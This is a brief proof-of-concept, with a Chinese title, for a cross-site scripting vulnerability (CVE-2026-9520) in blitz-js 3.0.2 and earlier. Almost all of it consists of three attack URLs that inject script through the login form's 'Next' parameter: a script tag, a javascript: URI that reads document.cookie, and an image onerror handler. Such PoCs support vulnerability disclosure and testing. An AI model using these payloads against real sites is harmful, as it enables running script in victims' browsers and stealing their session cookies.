CVE-2026-9520 blitz-js blitz跨站脚本漏洞

// PoC for CVE-2026-9520 // Target: blitz-js blitz <= 3.0.2 // Vulnerable Parameter: Next in LoginForm // Example 1: Injecting a script tag via the Next parameter // URL: https://target.com/login?Next="><script>alert(1)</script> // Example 2: Using javascript: protocol if the parameter is used in a redirect // URL: https://target.com/login?Next=javascript:alert(document.cookie) // Example 3: HTML event handler injection // URL: https://target.com/login?Next=<img src=x onerror=alert('XSS')> console.log("PoC generated for CVE-2026-9520");